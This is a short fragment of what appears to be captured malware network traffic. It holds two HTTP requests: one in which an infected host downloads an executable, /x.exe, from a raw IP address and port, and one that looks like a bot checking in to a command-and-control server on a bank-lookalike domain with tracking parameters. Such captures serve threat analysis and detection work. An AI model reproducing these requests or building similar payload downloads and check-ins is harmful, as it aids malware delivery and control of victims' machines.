VICTIM:  	GET /x.exe HTTP/1.0User-Agent: Mozilla/4.0Host: 121.120.165.20:2516 
ATTACKER:	GET /index.php?id=ncfbhlamixhwuatnxub&scn=2&inf=0&ver=19&cnt=USA HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: citi-bank.ru